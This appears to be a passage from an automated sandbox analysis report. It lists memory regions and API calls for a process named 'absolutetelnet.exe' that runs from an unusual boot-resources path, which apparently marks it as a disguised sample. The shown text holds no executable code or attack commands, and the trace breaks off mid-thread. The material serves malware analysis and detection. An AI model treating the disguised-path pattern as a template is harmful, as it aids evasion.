4753 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4754 start_va = 0x190000 end_va = 0x1c8fff monitored = 0 entry_point = 0x1912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4755 start_va = 0x7e0000 end_va = 0x967fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 4756 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5918 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5919 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5920 start_va = 0x970000 end_va = 0xaf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 5921 start_va = 0xdb0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000db0000" filename = "" Region: id = 5922 start_va = 0x21b0000 end_va = 0x23a2fff monitored = 1 entry_point = 0x23a131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 5923 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5924 start_va = 0x7ffb1aed0000 end_va = 0x7ffb1aed9fff monitored = 0 entry_point = 0x7ffb1aed1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6235 start_va = 0x7ffb02200000 end_va = 0x7ffb02be5fff monitored = 1 entry_point = 0x7ffb02205b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6236 start_va = 0x7ffb06670000 end_va = 0x7ffb06766fff monitored = 0 entry_point = 0x7ffb06694d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 6255 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 6256 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 6257 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 6258 start_va = 0x7ffaa2ae0000 end_va = 0x7ffaa2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ae0000" filename = "" Region: id = 6259 start_va = 0x7ffaa2af0000 end_va = 0x7ffaa2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2af0000" filename = "" Region: id = 6303 start_va = 0x7ffaa2b00000 end_va = 0x7ffaa2b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2b00000" filename = "" Region: id = 6304 start_va = 0x7ffaa2b90000 end_va = 0x7ffaa2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2b90000" filename = "" Region: id = 6305 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 6306 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6307 start_va = 0x21b0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 6308 start_va = 0x21b0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 6309 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 6310 start_va = 0x21c0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 6311 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 6312 start_va = 0x22e0000 end_va = 0x1a2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 6490 start_va = 0x1a2e0000 end_va = 0x1a64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2e0000" filename = "" Region: id = 6491 start_va = 0x1a650000 end_va = 0x1a75efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a650000" filename = "" Region: id = 6492 start_va = 0x7ffb1fea0000 end_va = 0x7ffb1fea7fff monitored = 0 entry_point = 0x7ffb1fea10b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 6493 start_va = 0x1a760000 end_va = 0x1a85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 7636 start_va = 0x1a860000 end_va = 0x1ab96fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7816 start_va = 0x7ffb00d10000 end_va = 0x7ffb021f7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 8016 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8017 start_va = 0x5f0000 end_va = 0x6affff monitored = 0 entry_point = 0x610da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8018 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 8019 start_va = 0x5f0000 end_va = 0x6ccfff monitored = 0 entry_point = 0x64e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8416 start_va = 0x1aba0000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aba0000" filename = "" Region: id = 8660 start_va = 0x1aca0000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 8661 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8662 start_va = 0x1ada0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 8678 start_va = 0x7ff5ff5b0000 end_va = 0x7ff5ff64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff5b0000" filename = "" Region: id = 8679 start_va = 0x7ff5ff5a0000 end_va = 0x7ff5ff5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff5a0000" filename = "" Region: id = 8837 start_va = 0x7ffaa2c00000 end_va = 0x7ffaa2c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c00000" filename = "" Region: id = 8838 start_va = 0x7ffaa2c10000 end_va = 0x7ffaa2c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c10000" filename = "" Region: id = 9129 start_va = 0x7ffaa2c20000 end_va = 0x7ffaa2c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c20000" filename = "" Region: id = 9130 start_va = 0x7ffb06560000 end_va = 0x7ffb0666dfff monitored = 1 entry_point = 0x7ffb06561080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 9131 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9144 start_va = 0x1ada0000 end_va = 0x1ae9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 9145 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 9146 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 9179 start_va = 0x7ffb000c0000 end_va = 0x7ffb00d03fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 9180 start_va = 0x7ffaff730000 end_va = 0x7ffb000b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 9182 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9183 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9184 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9185 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9187 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9188 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 9189 start_va = 0x1aee0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 9194 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9198 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9208 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9209 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 9210 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 9211 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9212 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9213 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9215 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9218 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9221 start_va = 0x4e0000 end_va = 0x4e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 9222 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 9223 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 9226 start_va = 0x6e0000 end_va = 0x7bcfff monitored = 0 entry_point = 0x73e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9227 start_va = 0x1aee0000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 9228 start_va = 0x1b0d0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0d0000" filename = "" Region: id = 9229 start_va = 0x600000 end_va = 0x62dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 9231 start_va = 0x630000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 9232 start_va = 0x1b0e0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0e0000" filename = "" Region: id = 9239 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9243 start_va = 0x7ffb06370000 end_va = 0x7ffb0655afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\43de4a177616225e9b6262468e1c3b53\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\43de4a177616225e9b6262468e1c3b53\\system.drawing.ni.dll") Region: id = 9245 start_va = 0x7ffafe830000 end_va = 0x7ffaff720fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\37004ddc6f466d807c52ca3b7f9f9827\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\37004ddc6f466d807c52ca3b7f9f9827\\system.windows.forms.ni.dll") Region: id = 9248 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9249 start_va = 0x6e0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9250 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 9252 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 9253 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 9254 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 9255 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 9256 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9257 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 9258 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 9259 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 9260 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 9261 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 9262 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 9263 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 9264 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 9265 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 9274 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 9275 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 9276 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 9277 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 9278 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 9279 start_va = 0xb90000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 9280 start_va = 0xba0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 9281 start_va = 0x22c0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 9282 start_va = 0x1aea0000 end_va = 0x1aeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aea0000" filename = "" Region: id = 9283 start_va = 0x1aeb0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 9288 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9289 start_va = 0x1afe0000 end_va = 0x1afeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afe0000" filename = "" Region: id = 9290 start_va = 0x1aff0000 end_va = 0x1affffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aff0000" filename = "" Region: id = 9291 start_va = 0x1b000000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b000000" filename = "" Region: id = 9292 start_va = 0x1b010000 end_va = 0x1b01ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b010000" filename = "" Region: id = 9293 start_va = 0x1b020000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b020000" filename = "" Region: id = 9294 start_va = 0x1b030000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b030000" filename = "" Region: id = 9300 start_va = 0x1b040000 end_va = 0x1b04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b040000" filename = "" Region: id = 9301 start_va = 0x1b050000 end_va = 0x1b05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b050000" filename = "" Region: id = 9302 start_va = 0x1b060000 end_va = 0x1b06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b060000" filename = "" Region: id = 9303 start_va = 0x1b070000 end_va = 0x1b07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b070000" filename = "" Region: id = 9304 start_va = 0x1b080000 end_va = 0x1b08ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b080000" filename = "" Region: id = 9305 start_va = 0x1b090000 end_va = 0x1b09ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b090000" filename = "" Region: id = 9306 start_va = 0x1b0a0000 end_va = 0x1b0affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0a0000" filename = "" Region: id = 9307 start_va = 0x1b0b0000 end_va = 0x1b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0b0000" filename = "" Region: id = 9308 start_va = 0x1b1e0000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 9309 start_va = 0x1b200000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 9327 start_va = 0x1b220000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 9328 start_va = 0x1b250000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 9329 start_va = 0x1b0c0000 end_va = 0x1b0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 9330 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 9331 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 9332 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 9333 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 9334 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 9335 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 9336 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 9337 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 9338 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 9339 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 9340 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 9341 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 9342 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 9346 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 9347 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 9348 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 9349 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 9350 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 9390 start_va = 0x630000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 9391 start_va = 0x7ffaa2c60000 end_va = 0x7ffaa2c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c60000" filename = "" Region: id = 9392 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9393 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9394 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9395 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9396 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9397 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 9398 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 9399 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 9400 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 9404 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9408 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9414 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Thread: id = 181 os_tid = 0xde4 [0227.937] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0249.681] RoInitialize () returned 0x1 [0249.682] RoUninitialize () returned 0x0 [0285.390] WindowsCreateStringReference () returned 0x0 [0285.390] RoGetActivationFactory () returned 0x0 [0285.408] QueryInterface () returned 0x0 [0285.409] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0285.409] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0285.409] QueryInterface () returned 0x0 [0285.409] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0285.409] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0285.410] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0285.410] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0285.410] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0285.410] Release () returned 0x4 [0285.410] CoGetContextToken (in: pToken=0x14c950 | out: pToken=0x14c950) returned 0x0 [0285.410] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0285.410] CoGetContextToken (in: pToken=0x14cba0 | out: pToken=0x14cba0) returned 0x0 [0285.410] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0285.410] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0285.410] 